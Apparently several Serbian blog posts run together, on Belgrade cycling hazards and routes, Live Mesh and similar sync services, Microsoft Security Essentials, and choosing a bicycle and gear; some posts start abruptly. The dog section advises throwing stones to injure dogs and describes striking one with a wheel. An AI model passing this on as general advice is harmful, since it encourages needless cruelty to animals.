Kada smo savladali osnovna pravila da vidimo sa kim imamo posla …

Protivnici ili učesnici u saobraćaju

Pešaci

Iako bi po prirodnom redosledu mi (biciklisti) trebali da budemo njihova briga, na žalost, (kao i kod mnogih drugih stvari) kod nas je obrnuto – pešaci su ti kojih trebate da se čuvate.

Nepredvidljivi su, sa neobičnim zadovoljstvom uzimaju ono malo staza namenjenih samo nama (valjda ih crveno išpartana staza neobično privlači / hipnotiše) i u tome su kategorije najteže za izbegavanje u tome i najupornije: naši stariji sugrađani (kod kojih čak ni sirena ne pomaže puno a i predstavlja zdravstveni rizik za njih), zatim mala deca (smer i pravac kretanja menjaju lako i iznenada) kao i upirlitani roleri i rolerke – valjda pretpostavljaju da se ništa brže od njih ne kreće tim stazama

Pokušajte da ih obavestite i spremite dovoljno veliku zonu za obilazak i prilagodite brzinu – ipak su klinci i klinceze važniji od vaše brzine

Taksisti

Retko bezobrazna sorta: nesnosni, arogantni, bezobrazni, vrlo često će vam seći put, ignorisati da ste potpuno ravnopravan učesnik u saobraćaju, i ako ne pazite, možete se lako zakucati u otvorena vrata taksiste koji se nije ni potrudio da vas konstatuje u bočnom retrovizoru.

Spremni su i na otvoren sukob, tako da ih treba tretirati kao opasnost II vrste, odmah iza kučića.

Džukci

Psi, džukele, kučići, čovekovi najbolji prijatelji – koji god da naziv izaberete i ma kako vam ovi nazivi navlače osmeh na lice, pretnju koji oni predstavljaju (vama kao biciklisti) treba, na žalost, vrlo ozbiljno shvatiti.

Razne su kategorije među psima:

• seoski: vrlo bučni i obično bezopasni; pokrivaju samo mali perimetar oko njihovog dvorišta i jače gaženje na pedale će vas brzo ukloniti izvan dometa
• samostalci: retko će direktno napasti, ali ima nekih koji će se potuljeno privući i pokušati ujed za nogu otpozadi. Vremenom naučite da ih prepoznajete: ako se utišaju dok prolazite, spuste uši i blago pogure, predstavljaju dobrog kandidata za problem
• čopori: vrlo nezgodna grupa; što su brojniji, to su opasniji; u zavisnosti od dela dana (rano ujutru je najveći rizik) raspoloženi su da trče sa vama i kilometar. Nikako nisu za potcenjivanje.

Nemojte misliti da ste sigurni u strogom centru grada – neke od najgorih sustreta sam imao na Dunavskom keju (Dorćol) kao i oko Ušća.

Generalni saveti: ako vam teren dozvoljava, probajte da ih izmorite (za prve dve grupe); uz 30 – 35 km/h obično odustanu posle nekoliko stotina metara. Ako ovo ne uspe i nateraju vas na zaustavljanje (neki su se bacali ispred prednjeg točka, samo da bi me sprečili da zbrišem) gledajte da se zaustavite tamo gde imate dosta municije (idealno kamenje) koje im može naneti povrede. Takođe, kada se zaustavite, obavezno postavite bicikl između njih i vas – može vrlo dobro doći – jednom sam izbegao gore posledice (sem pretrpljenog straha ) tako što sam vođu čopora iz sve snage raspalio po njušci zadnjim točkom.

(za ljubitelje pasa koji gornji pasus smatraju okrutnim i nasilničkim: slobodno mogu da krenu u vožnju sa mnom, da ih provedem kroz posebno opasne zone i ostavim tamo da se objasne sa kucama dok ja jezdim u bezbedna područja )

Još saveta na ovu temu imate na Ciklonaut sajtu: Kako sa psima?

Bezobrazni biciklisti

Naše kolege biciklisti, ali oni nesavesni, neodgovorni.

U najvećem broju mogu se sresti upravo na biciklističkoj stazi. Veliki broj njih niti gleda kuda ide, niti smatra da je saobraćaj na stazi potrebno na bilo koji način regulisati (recimo, da se vozi desnom stranom staze). Pokušavao sam u par navrata pripadnicima ove vrste da objasnim da obrate pažnju da je dozvoljeni smer kretanja vidno obeležen strelicama na stazi kojom voze, ali sam nailazio na taman toliko razumevanja koliko i prilikom objašnjavanja vozačima da možda nije loša ideja da daju migavac ako misle da skrenu, da im neće otpasti ruka ako to urade, da to ne znači da su žene, slabići ili homoseksualci…

(zahvaljujem Duduku za ovaj dodatak listi)

Kamioni

Generalno se pristojno ponašaju no opasni su zbog visine (nekada vas vozač ne vidi dobro ili uopšte), dužine (ako imaju prikolicu) ili vazdušnog jastuka koji teraju ispred sebe (kada vam dolaze u susret) ili vrtloga iza sebe (kada vas pretiču). Kada krenu da vas pretiču – budite pripravni. Ako se nađete na uskoj ulici gde je ivičnjak vrlo visoko ili ga nema (asfalt visoko u odnosu na zemlju), slobodno stanite u stranu dok grdosija ne prođe; tu se ne radi o sujeti (“biciklista mora da bude uvek na bicikli”) već o preživljavanju

GSP / autobusi

U gradu nemarni i nepažljivi, van grada (trocifrene linije, 4xx, 5xx, 6xx) su dosta fini – pretiču sa dužnom pažnjom, ostavljajući dosta prostora i retko će vas bespotrebno plašiti sirenom. Obični (ne-GSP) autobusi su manje pažljivi i više opasni. Za njih sličan savet kao i za kamione – pažnja.

Staze za početak

Pravila su tu, igrači su opisani (da ne kažem: karte podeljene), ali gde sa pravom akcijom, tj. pedalanjem? Za početak, idemo sa lakim (ravnim) stazama, za zagrevanje / razgibavanje – kako kondicija bude napredovala, tako ćemo i širiti osvojene teritorije. Sam dolazak do staza opisanih dole ne bi trebalo da predstavlja problem i uvešće vas u osnovnu problematiku kretanja kroz grad.

Dorćol – Ada

Praktično jedina dobra staza na strani starog grada. Spaja Dorćolski kej i Adu Ciganliju. Ravna je, oko 11.5 km do vrha Ade u jednom smeru, ali ovo nikako nije moja omiljena staza za zagrevanje. Na Dorćolskom kraju je pretrpana raznim kafićima i restoranima (pogotovo oko samog pristaništa), previše je vozila, put je u očajnom stanju. Na ostatku staze, imate nebrojeno prepreka, što od pešaka, šetača sa kučićima pa sve do industrijskih vozila sa obližnjih šljunkara. Sama staza je dobrim delom kocka, tako da vožnja ni malo ne prija vašim bubrezima (čak iako imate gel sedište). Ni pristup stazi nije najlepši (doduše, sa Dorćolske strane malo bolji no sa strane Ade).

Jednom kada ste na Adi, ima smisla vozikati se okolo samo van sezone (a to je u kasnu jesen – zimu – rano, rano proleće). Inače se od parade svih drugih posetilaca Ade ne može uživati u pedalanju ni tren.

Korisna je (meni) samo kao odskočna daska bez automobila za neke lepše krajeve. U svakom slučaju, radi kompletnosti, evo je u Google Maps:

View Staza Dorćol – Ada in a larger map

na karti:

(klikni za veću sliku)

i u GPX formatu.

Daleko, daleko omiljenija mi je Ostružnička staza ili nasip uz obalu Save:

Ostružnica (nasip)

Omiljena staza za razgibavanje i početak biciklističke sezone na Savskoj strani Novog Beograda; počinje na kraju ulice Omladinskih brigada a završava ispod Ostružničkog mosta. To je lepih, ravnih 9.5 km u jednom smeru, bez previše vozila (iako je ovde zabranjen prolaz, uz obalu su nikla prava mala nelegalna naselja, i džipovi samo špartaju – ali je ovo za neki drugi post). Idealna je za sve koji mogu da ispedalaju 20-ak km po potpuno ravnom terenu – praktično, ako možete da vozite 1,5h oko zgrade, ovo je staza za vas

Ova staza, iako laka, pruža lepe prizore dok pedalate, pogotovo u proleće kada se Sava izlije i na nekim mestima dođe na dohvat ruke.

Sa praktične strane: lako se dolazi (imate staze po trotoarima do samog keja), i samo treba povesti računa o tome da nije osvetljena, pa ako planirate takvu vrstu vožnje, pobrinite se da su vam baterije u svetlima pune Takođe, čim izađete iz okrilja Novog Beograda, nema prodavnica, tako da se tečnošću i grickalicama opskrbite na vreme

Ova staza je i odskočna daska za gomile Vojvođanskih tura, ali o tom potom

Ostružnički nasip u Google Maps:

View Ostružnica nasip in a larger map

Na karti:

(klikni za veću sliku)

a evo je i u GPX formatu.

Za kraj – kviz

Ostaje mi samo da podelim sa vama kviz, odnosno da se prepoznate kojoj od kategorija biciklista vi pripadate:

Biciklisti u Srbiji

Tu se i javlja očigledan problem – kako imati vaše podatke svuda i na svakom mestu, bez nekog preteranog truda i glavobolje.

Jedno rešenje je web kancelarija – gomilu stvari možete držati online i imati pristup sa bilo kog računara koji ima konekciju ka internetu.

Drugo rešenje su vrlo jevtini i rasprostranjeni USB Flash diskovi – okačite ga na ključ od stana i gde god ste vi, tu su i vaši podaci. Pri tome, potrudite se da obavezno redovno radite backup USB Flash diska – ove spravice se lako gube, i ove spravice ne izdržavaju previše torturu i/ili veliki broj pisanja po njima.

Treće rešenje je online virtuelni disk – uz malo softvera, dobar deo podataka možete držati “u oblaku” i prepustiti drugima da se brine o sinhronizaciji ovih podataka.

Microsoft Live Mesh je upravo treće rešenje – način da relativno bezbolno sinhronizujete podatke između više mašina (različitog tipa) i to skoro trenutno. Pri tome, do vaših podataka možete doći i preko web strane, za slučaj da vam zatrebaju van nekog od sinhronizovanih uređaja.

Servis je besplatan, prostor na raspolaganju je 5 Gb i da bi ga koristili, dovoljno je da imate Windows Live ID (ako koristite MSN / Windows Live Messenger, ili hotmail za poštu – već ga imate; ako ne, moguće ga je besplatno kreirati sa bilo kojom važećom email adresom).

Postupak je jednostavan:

• Registrujete se na Live Mesh sajtu
• Instalirate tom prilikom aplikaciju za sinhronizaciju, na svakom od računara koji želite da dele podatke
• Prostim klikom desnim dugmetom na željeni folder dodajete ga u Mesh:

Za svaki folder koji dodate će se na drugim računarima na desktopu pojaviti plavi shortcut; prostim “Sync with this computer” pravite kopiju sinhronizovanog foldera na željenoj lokaciji (ne mora da bude na istom mestu kao na polaznom računaru):

Pored prostog deljenja fajlova, Live Mesh ima vrlo simpatičnu mogućnost – pristup drugim računarima (ako su uključeni ), kao preko Remote Desktopa.

Nekoliko saveta ako želite da probate ovaj servis:

• Ako imate Adsl vezu: A stoji za Asynchronous ili nesimetrična; u praksi to znači da su vam upload mogućnosti (kada “penjete” fajlove na server) mnogo lošije od download mogućnosti; ironično, što vam je veći download, to je raspon ove dve vrednosti gori. Uobičajene vrednosti su 1024/128, 2048/192, 4096/256 itd. Ovo praktično znači da vam mnogo više vremena treba za prvu sinhronizaciju
• radite u malim koracima; ne pokušavajte da uradite odmah upload od gigabajt i kusur
• prvu sinhronizaciju pustite noću ili u radno vreme (u zavisnosti od vašeg ritma) tj. kada je računar (i veza ka internetu) besposlen.
• Ako drugačije ne kažete (desni klik na plavu ikonicu u sistemskom treju, “Work Offline”) Live Mesh je stalno povezan sa vašim računarom (ako se pitate zašto modem stalno treperi )
• Ovo je još uvek beta servis, pa mu nemojte prepuštati kritične podatke.

Alternativni servisi za sinhronizaciju fajlova

Ako vas ova tematika zanima, možete pogledati i DropBox; vrlo slično rešenje Live Mesh-u: podržava više platformi (i Linux), i prostor do 2Gb je besplatan – preko toga zahteva mesečnu nadoknadu.

Iako Live Mesh nudi mnogo čvršću integraciju sa operativnim sistemom, i nema ograničenja da svi folderi / datoteke koje se sinhronizuju moraju da budu na jednom mestu (My Dropbox), DropBox je primereniji našim vezama ka Internetu – nema stalnog toka podataka, već samo kada se ukaže potreba.

Pogledajte i listu online servisa za čuvanje podataka: http://en.wikipedia.org/wiki/File_hosting_service

Druga Microsoft rešenja za sinhronizaciju

Live Mesh nije jedini Microsoft servis za sinhronizaciju. Postoje još dva slična servisa, koja pokrivaju različite potrebe:

Live Sync (bivši Live FolderShare)

Live Sync je takođe deo Live ponude; kod ovog servisa računari koji se sinhronizuju moraju da budu online i uključeni – nema off-line skladištenja ili pristupanja sa drugih, ne-sinhronizovanih računara.

Drugačiji su i limiti: dozvoljena je sinhronizacija do 20 foldera, svaki od foldera može imati maksimalno 20,000 datoteka, pri čemu ni jedna datoteka nije veća od 4GB.

Windows SkyDrive (bivši Windows Live Folders)

SkyDrive je komplementaran servis Live Mesh-u: omogućeno je da stavite fajlove na njega i da fajlovima pristupate iz browsera, ali nema sinhronizacije. Na raspolaganju imate 25 Gb prostora, gde jedan fajl ne može da ima preko 50 Mb (idealno za muziku ).

Sem jednostavnog skladišta za podatke, SkyDive omogućava manipulaciju fotografijama, kao i Microsoft Office dokumentima (sve online) i sinhronizaciju Favorites (omiljenih lokacija) između više računara.

Dodajte na ovu zastupljenost neke (pogrešne) tehnološke odluke Microsoft-a (više o tome možete pročitati u tekstu “Sigurni prozori“) i sasvim je jasno zašto je ovo platforma najviše napadana od hakera i pisca virusa – prosto, što je veće tržište, veće su šanse da se dođe do koristi (kreditne kartice, lični podaci itd).

Ovo je otvorilo vrata velikom tržištu anti-virusnih programa: Symantec, Kaspersky, McAfee, Avast, AVG, ESET (NOD32) – da pomenem samo neke. Neke od kompanija (AVG, Avast) su pored plaćenih (komercijalnih) verzija programa nudile i besplatne verzije sa manje mogućnosti, za kućne korisnike.

Sam Microsoft nije dugo ulazio u ovo tržište; to se menja 2005, kada je izašla prva verzija Windows Defender-a: programa protiv špijunskih (spyware) i generalno štetnih programa (adware); Windows Defender je sastavni deo Vista i Windows 7 operativnih sistema, dok se za XP može besplatno skinuti. No, Windows Defender je samo jedan aspekt zaštite – i dalje nije štitio od virusa.

Novembra 2008. se to menja – Microsoft objavljuje da radi na projektu Morro, osnovnom antivirusu za Windows operativne sisteme; kroz nekoliko verzija (i promenu imena), 29. septembra 2009. izlazi Microsoft Security Essentialss – besplatan Windows antivirus program koji podržava XP, Vista i Windows 7 operativne sisteme. Jedini uslov da bi instalirali ovaj paket je da imate legalnu kopiju Windows-a.

Nakon 15 dana korišćenja (na Visti i Windows 7) mogu reći da je Security Essentials sasvim ok rešenje za kućne korisnike – nije napadan, korisnički interfejs (ekrani samog programa) je jednostavan i lako razumljiv, opterećenje računara je malo (čak manje od NOD32 programa koji je do sada bio moj izbor za antivirusnu zaštitu – ne verujem da ću obnoviti licencu). Preporučujem ga za instalaciju i korišćenje na svim vašim računarima gde do sada niste imali takvu vrstu zaštite (a to je, zar ne samo na skoro kupljenim računarima).

Linkovi:

• Microsoft Security Essentials – lokacija za skidanje paketa
• Vest na sajtu NoveTehnologije.Com
• Tekstovi za održavanje i zaštitu računara na Vesic.Org

Ta jedna stranica o biciklizmu začuđujuće često dovodi do raznih pitanja u mom poštanskom sandučetu, pa rekoh: nije zgoreg da nešto i napišem na tu temu, uz nekoliko iskustvenih saveta i referenci na sajtove gde se sve ovo može naći u daleko detaljnijoj formi.

Zašto biciklizam?

Odgovor na ovo pitanje je drugačiji za svakog; meni pedalanje daje neviđeni osećaj slobode i povezanosti sa krajolikom kroz koji prolazim. Dovoljno je da stanem i da postanem pešak – najbliže prirodi.

Kada se malo izvučete iz gradske vreve i smoga, pedalanje će vam napuniti neke baterije koje davno zvrje prazne, potrošene u stresu i brzini svakodnevnice. Upoznaćete seoca i mala lokalna čuda koja postoje i malo dalje od puta i nevidljiva su dok ste u kolima.

E da, postoje i zdravstveni aspekti pedalanja (izvučete sebe iza oronule kancelarijske fasade zaposlenog), ali to je samo (dobra) nuspojava

Izbor bicikle

Prvi korak u biciklizmu je naravno kupovina bicikle. Pre nego li spremite budžet za ovu namenu i pre nego li posetite neku od radnji, evo nekoliko stvari koje ne bi bilo loše da znate.

Anatomija bicikla

Kao i u svakoj gildi (branši / zanatu) i biciklizam ima svoj jezik i iskusniji će rado iskoristiti priliku da vas zbune / zasene gomilom nepoznatih reči

Odlična priprema za ove susrete je Anatomija bicikla SerbiaOutDoor.com sajta. Još detaljniji prikaz (i dalje u radu) imate i na Wikipediji: Oprema i delovi za bicikle.

Naravno, ne treba da naučite svaki komad i svaki deo Za početak je dovoljno da izaberete vrstu, ram (veličinu i materijal) kao i da odlučite da li hoćete polovni bicikl poznatije marke ili novi bicikl ne-tako-poznate marke (ili slabiji model poznate marke).

Na stranu kupovine polovnog imate odličan odnos cena / kvalitet ali takođe i šansu da kupite mačku u džaku – garancija je obično ili vrlo kratka ili što je najčešće, ni nema je za polovni bicikl. Zato je idealno ako kupujete od proverenog izvora (nekog ko to stalno radi) i ako vam pri kupovini pravi društvo neko ko se malo više razume i ko može da proceni stepen “potrošenosti” određenog bicikla.

Kod kupovine novog bicikla imate barem 6 meseci garancije, što je sasvim dovoljno da ispeglate uobičajene početne probleme. Još ako je sajam automobila blizu – tu mogu da se nađu solidne ponude – i do 30% jevtiniji bicikli, pogotovo ako su iz prošlogodišnjeg kataloga.

Vrste

Iako će velka većina ljudi reći da postoje dve vrste (MTB i trkački) bicikala, to baš nije tako U zavisnosti od namenjenje vožnje, opreme (i naravno budžeta) možete izgurati i do 15-ak vrsta ili podvrsta dvotočkaša.

No, kako je ovaj tekst namenjen iskrenim početnicima i kako specijalizovane vrste ovde nemaju šta da traže (koga to interesuje, već je našao klub / sajt ili kakav drugi izvor informacije), ovde ću se zadržati na tri (uslovno) glavne vrste za nas hobiste:

MTB

Danas najzastupljenija vrsta; ima točkove od 26 inča (26″ ~ 66 cm), široke gume sa jakim kramponima; inicijalno namenjen zahtevnoj brdskoj vožnji (MTB – MounTain Bike), postao je bicikl za sve prilike. Čvrst, robustan, zbog manjih točkova i kraćeg rama, težište cele bicikle je niže i zbog toga je bicikl stabilniji i sa njega je teže pasti. Odnos zupčanika omogućava uspon u skoro svim uslovima / nagibima terena. Dodatna prednost MTB-a je što servise i radnje sa delovima možete naći praktično na svakom ćošku.

Danas je obično MTB (ili njegova gradska varijanta) ono što se misli kada ljudi kažu “kupiću baciklo”

(slika uzeta sa Cannondale Flash Team stranice)

City / Gradski

Gradski bicikli su potpuno opremljeni da zamene automobil u gradu; sa svim potrebnim dodacima (blatobrani, svetla, korpica). Nastali su na MTB osnovama, prilagođeni za gradske uslove. Nose razna imena: City, Safari Street, Town & Country itd.

Iako odaje pomalo rustičan osećaj, u srži je to dobar bicikl sa svim potrebnim sitnicama – jake gume sposobne da se odupru staklićima i ostalim gradskim lepotama, lako upravljanje, zaštitu od bljuzgavice sa točkova; “gradski” ne znači da ovakav bicikl ne možete uspešno voziti po okolini, pa čak i po boljim neasfaltiranim putevima.

Kako je osnova MTB, i za ovaj tip važi da se delovi / servisi relativno lako nalaze.

(slika uzeta sa Cannondale Vintage stranice)

Trekking (Hibridi)

Bicikli nastali kao ukrštanje između trkačkog i MTB bicikla, sa mrvicama opreme od gradskog bicikla. Tanji i viši ram, obično veći točkovi (28″ ~ 71 cm), opremljen za duža i udobnija putovanja.

Namenjen je dužim izletima, najviše po asfaltu, ali se neće uplašiti ni makadama / utabanog seoskog puta. Udobniji je i efikasniji za duže vožnje – jedan ovakav bike je i moj izbor.

No, ponekad se treba pomučiti da se nađu delovi za njega (a i naručiti i čekaatii …) No, jednom kada nađete siguran izvor, prebrinuli ste – ovo svakako nije razlog da se odustane od Trekking bicikla.

(slika uzeta sa Cannondale Quick CX 700 stranice)

Dimenzije rama

Davno su prošla vremena kada je bilo dovoljno opkoračiti bicikl i proveriti da li između prepona i gornje (horizontalne) šipke rama ima 3 -5 cm prostora – dobrodošli u doba proporcionalnih ramova.

Izbor dimenzije rama je možda najzapostavljenija stavka u izboru i kupovini bicikla. To je takođe jedan od važnijih ako ne i najvažniji činilac udobnosti vaše vožnje; preveliki ram znači da ćete voziti stalno istegnuti između sedišta i volana i time itekako namučiti vaše leđne mišiće. Premali ram znači da ćete voziti zgureni i opet ostati bez zasluženog komfora.

Postoji gomila sajtova gde možete odrediti dimenzije rama prema vama; ako baš morate da pravite kompromise (u radnji nema takav), uzmite bolje manji no veći ram – manji ram se može kompenzovati kroz podizanje sedišta i lule volana.

Recimo, za brze rezultate probajte ovde: BikeBuster / Frame Guide; za vrlo detaljno merenje (i vaše premeravanje) tu je Fit Calculator.

Na kraju, kada izaberete veličinu, obavezno probajte sam bicikl – previše zgrčena kolena (koja ne-daj-bože udaraju u volan) su znak malog rama a jedva doticanje zemlje prstima kada ne pedalate (uz spušteno sedište do kraja) i/ili “daleki” volan su znak velikog rama. Ne zaboravite – udobnost na prvom mestu!

Modeli / marke

Za razliku od inostranstva, kod nas je izbor marki dosta sužen; najčešći su Capriolo i Polar (standardna), Merida (srednja kategorija) i na kraju Cannondale, Trek, Specialized i (preskupi) Scott (visoka kategorija).

Pri tom, ovu podelu shvatite itekako uslovno – “skuplji” model niže kategorije (skuplji u odnosu na modele te kategorije) itekako može da vam bolje posluži od osnovnog modela više kategorije.

Sem marke, tu je i cenovna kategorija; iako je ovo duboko lično pitanje, ja ne preporučujem da kupujete bicikl koji košta ispod 200€ – ipak je to sprava koja treba da vas služi godine i godine. Neka (vrlo relaksirana i vrlo uslovna) podela bi bila:

• bicikli od 200 – 300€: za lakšu vožnju po gradu i okolini, bez zahtevnih deonica i/ili deonica van asfalta
• bicikli od 301 – 500€: za ozbiljne rekreativce, sa idejom da po sezoni voze 2.000 – 3.000 km
• bicikli preko 500€: kako je ovo tekst za početnike, ne verujem da ovu kategoriju treba uopšte objašnjavati

Oprema

Lako se može desiti da bicikli različite kategorije imaju isti osnovni deo – ram bicikla. Ono što čini bitnu razliku (sem naravno kvaliteta sklapanja delova u celinu i kontrole tog sklapanja) je oprema – sve sem rama: zadnji zupčanici (Cassette Sprocket), srednji pogon sa nosačima pedala (Cranksets), prednji i zadnji menjački pogon (Derailleurs), prednji i zadnji menjači (Shifters), prednja i zadnja osovina točka (Hubs).

Sami proizvođači opreme (Shimano kao najpoznatiji) komplete opreme dele prema ciljnoj i cenovnoj grupi. Pomenuću samo neke komplete:

• Početni: Shimano Alivio
• Srednji: Shimano Deore
• Viši: Shimano Deore XT

(generalni redosled za Shimano opremu, od jevtinije ka skupljoj je: Alivio -> Deore -> SLX -> Deore XT -> Saint -> Yumeya -> XTR)

Postoji i Shimano “bez kategorije” koji se nalazi na najjevtinijim biciklama (tzv. OEM pakovanja) koje ne bih baš preporučio.

Mali saveti

• Gledajte da se za šipku sedišta koristi leptir spojnica (ili “seat clamp” ili “quck-release”) – jako korisno za brzo i udobno podešavanje (link vodi na sliku). Ako leptir spojnica ne ide uz bicikl, dodajte je odmah prilikom kupovine – jevtino a korisno.
• Gledajte da se i točkovi skidaju / stavljaju na sličan način – skuplje, ali itekako korisno.
• Ako uzimate amortizere, krenite samo sa prednjim (zadnji ne preporučujem – samo oduzima energiju); bicikli sa oba amortizera su solidno tromiji za vožnju a najveće vibracije ionako trpi prednji.
• Unutrašnje gume su obično ili sa trkačkim (užim) ili automobilskim (širim) ventilom; iako postoje adapteri sa jedne vrste na drugu, odlučite prema potrebama; automobilski su daleko lakši za brzo pumpanje (mada je sve manje pumpi, pogotovo van centra Beograda kojima automat za vazduh radi i/ili ima crevo)

Nulti/godišnji servis

Gde god da se odlučite za kupovinu bickle, obavezno proverite da li je takozvani “nulti servis” uračunat u cenu – trebalo bi da jeste. Neke radnje rade ovaj servis odmah po kupovini (lošije) dok druge rade posle nekoliko vaših vožnji ili nedelja (bolje).

To vreme je potrebno da bi utvrdili šta na bicikli nije kako treba (menjači ne rade kako treba, kočnice slabije koče, bicikl čudno škripi, točak nije centriran itd), i da to isto srede.

Dobro podešen bicikl (servisiran i podmazan) ne bi trebalo da se čuje u vožnji – svakakvi čudni zvuci, pogotovo ako dolaze iz pogonskog mehanizma (srednja glava – lanac – zadnja glava) su razlog za posetu servisu.

Usko vezan za nulti servis je i prvi godišnji servis; bez obzira gde držite biciklu i koliko je vozite, preporučljivo je da na početku sezone posetite vaš omiljeni servis koji će bicikl fino srediti – rasklopiti, podmazati, zameniti pohabane delove i podesiti točkove, menjače, kočnice. Za neku ne preteranu cifru (recimo do 20€) dobićete bicikl spreman za velike i nove radne pobede u nastupajućoj sezoni.

Osnovna oprema

Kaciga

Kaciga jeste osnovna oprema i obavezna je; vožnja bicikla jeste zabavna, ali svakako ne treba zaboraviti na osnovne mere opreza.

Birajte kacigu koja vam dobro (i tesno leži), koja se može zategnuti ispod brade a da vas ne davi; nosite kacigu stalno, čak i za najkraće moguće vožnje; to će vam stvoriti uslovni refleks i uskoro nećete ni razmišljati o tome; postaće deo biciklizma kao i sam bicikl. Ovde imate nekoliko saveta kako izabrati kacigu (na engleskom).

Naočare

Vrlo korisne – najčešća smetala u vožnji su jako Sunce ili gomile buba, bubica i/ili prašine. Minimum koji treba da zahtevate od naočara je prava zaštita od Sunca (zaštita od UVA, UVB i UVC talasa); idealno je ako imaju izmenljiva stakla, tako da ih možete koristiti u raznim uslovima (svetao dan, predveče, loši vremenski uslovi).

Mogu da preporučim Uvex serije; zadovoljavaju sve gornje, a kome je to bitno ni ne izgledaju loše.

Svetla / treptači

Prvenstvena uloga ovih spravica je da pojačaju činjenicu da ste i vi učesnik u saobraćaju. Iako niko prilikom kupovine ne planira da vozi u večernjim / noćnim uslovima, to će se pre ili kasnije neizbežno desiti. Za takve prilike je obavezno da obeležite svog ljubimca i to barem sa treptačima (trepćućim svetlima) kako pozadi, tako i napred. Ni mačije oči na pedalama nisu na odmet.

Kasnije možete uzeti i neko efikasnije prednje svetlo (recimo CatEye, LED vrstu) koja će pored toga što vas čini vidljivijim i vama učiniti vidljive opasne prepreke u noćnoj vožnji (recimo nezatvorene šahte i gomile šuta uz ivicu puta).

Bidon (flaša za vodu)

Pored upale mišića, najveći broj tegoba po vožnji je izazvan dehidracijom; stoga, bidon je obavezni deo svakog bicikla. Uobičajene veličine (zapremine) su 0,5 i 0,75l. Šta ide u bidon … malo niže dole u tekstu.

Rukavice

Ima ih sto vrsta; obično se za toplije vreme koriste verzije bez prstiju, dok je za rano proleće / kasnu jesen bolje koristiti cele rukavice. Sem primarne zaštite dlanova (kako od tvrde gume na rukohvatima upravljača tako i od padova ) tu je i zaštita zglobova od hladnog vremena / vetra.

Pumpa / Komplet za skidanje i stavljanje spoljne gume / Dve unutrašnje gume

Naslov govori za sebe – uobičajen problem koji vas može zadesiti je pucanje gume. Iako zamena gume izgleda komplikovana (pogotovo ako se radi o zadnjem točku) – nije. Uz poluge za skidanje/stavljanje spoljne gume, i malo vežbe, zamena gume se može uraditi za 10 – 20 minuta.

Ovo je mnogo bolja opcija no da zaglavite daleko od kuće sa bušnom gumom

Umesto dve unutrašnje gume možete uzeti i komplet za krpljenje gume (svaki bolje opremljeni biciklistički servis ga ima) mada je uz sadašnje cene unutrašnjih guma to malo zamorna operacija.

Dodatna oprema

Sedište (gel)

Iako će mnogi tvrditi da je ovo itekako osnovna oprema, ipak sam ga stavio ovde U svakom slučaju, izbor pravog sedišta može da bude razlika između pakleno-bolne vožnje (ili takvih posledica posle vožnje) i čistog uživanja kada vas zadnjica ni na šta ne opominje Posebna su sedišta za devojke i za dečake (zbog anatomije). Oblik sedišta (uže / šire) zavisi od tipa i načina vožnje – što ste pognutiji ka volanu (sportska varijanta) treba vam uže sedište, što ste uspravniji u vožnji (treking / gradska vožnja) treba vam šire sedište; oblik je važniji od punjenja sedišta, mada ni punjenje nemojte zanemariti.

Samu udobnost sedišta je teško proceniti odokativnom metodom; najbolje je ako neki vaš prijatelj / poznanik ima slično/isto sedište i voljan je da vam ustupi bicikl na sat i više (manje od toga ne vredi).

Ja mogu da preporučim Selle Royal gel sedišta; na samom sajtu imate i “čarobnjaka” za izbor sedišta; cene ovih sedišta kod nas su u rasponu 20 – 50 €

Jednom kada nađete sedište koje vam zaista odgovara, onda ga ne menjajte Bicikl i možete, ali sedište nikako

Korpica (pak tregeri) + torbica

Ono što je zagriženim sportskim biciklistima nepojmljivo (dodatna težina) nama hobi biciklistima itekako zna da koristi – recimo, korpica i odgovarajuća torbica gde ćete svakakve sitnice popakovati i time povećati svoju autonomiju do prve sledeće radnje.

Uobičajen set stvari koje idu u poveću torbicu su:

• rezervna unutrašnja guma
• rezerva odeća ili barem majica
• foto-aparat (ako niste zadovoljni vašim idiJotom od telefona)
• brda Bonžite
• dodatne boce izotonika
• rezervne baterije za razna sokoćala na bicikli
• kompleti stakala za naočare (ako ih ide više uz naočare)

Inače, za pravo uživanje (makar samo za čitanje) preporučujem legendarnu Jonetovu Pak listu

Naravno, ovde se nikako ne završava spisak Tu je odeća za biciklizam (vrlo korisna u manje miroljubivim periodima za vožnju, kada je hladno i/ili vetrovito), zatim obuća (koja pasuje uz SPD pedale), kao i gomile sitnica koje vašu vožnju mogu učiniti zabavnijom i zanimljivijom

U svakom slučaju, kako budete slagali kilometre iza sebe, sami ćete otkriti šta vam još treba da uživanje bude veće

U vožnji (potrošni materijal)

Bez dve stvari se nikako ne kreće na vožnju: bicikle i želje za pedalanjem Kada ovo očigledno ostavim po strani, ostaju još dve: piće i Bonžita.

Izotonična pića

Što se tiče korišćenja tečnosti u toku vožnje – što više; ako osetite da ste žedni, tada je već “kasno”; bolje je piti po malo češće (na svaka 4 – 5 km vožnje), no odjednom velike količine tečnosti.

Kako se kroz vožnju gubi velika količina soli (znojenje), obična voda ovde nije odgovor za utoljavanje žeđi. Idealno, treba koristiti izotonične napitke – tečnosti koje imaju istu koncentraciju jona elektrolita kao u krvi i time se i najbrže apsorbuju.

Sada se takva pića pojavljuju stidljivo i kod nas (izbor iz Hipermarketa, Novi Merkator, malopre, kurs evra je 93):

(klikni za veću sliku)

Na kraju, možete napraviti i sami vaš izotonični napitak, ili koristiti Aqua Viva Hidroactive (mada ona ima najmanje od korisnih / potrebnih sastojaka).

Izbegavajte energetska pića (Guarana, Energy etc) jer njihov sastav (količina i tip šećera) i namena (kratkotrajno podizanje energije) ne prija biciklističkim aktivnostima.

Bonžita

Bonžita je odličan mali slatkiš koji ima sve što vam je potrebno posle ispedalanih desetina kilometara – pravu vrstu šećera pomešanu sa raznim žitaricama i zobalicama. Ima je svuda i jevtina je – pravi izbor za hobiste bicikliste.

Spremanje bicikle za zimu

Iako sam ovo spremao za poseban tekst, potaknut Ivaninim komentarem, ipak ga dodajem ovde (a i vreme kroz prozor navodi na takve misli):

Najveći neprijatelj vaše bicikle zimi je voda, odnosno korozija (rđa). Da bi smanjili šanse za oštećenja, evo nekoliko saveta za pripremu bicikle za zimski san:

• skidanje svih spravica sa njega (ciklo-kompjuteri, svetla, bidone itd, itd)
• temeljno čišćenje svih površina od nečistoća, pogotovo onih najbližih zemlji (prednji / zadnji pogon, lanac) – ali stvarno temeljno; sav višak vode pokupiti.
• sušenje bicikla u kućnim (toplim) uslovima barem dan ili dva
• očistiti staru mast/ulje nekim odmašćivačem (WD40)
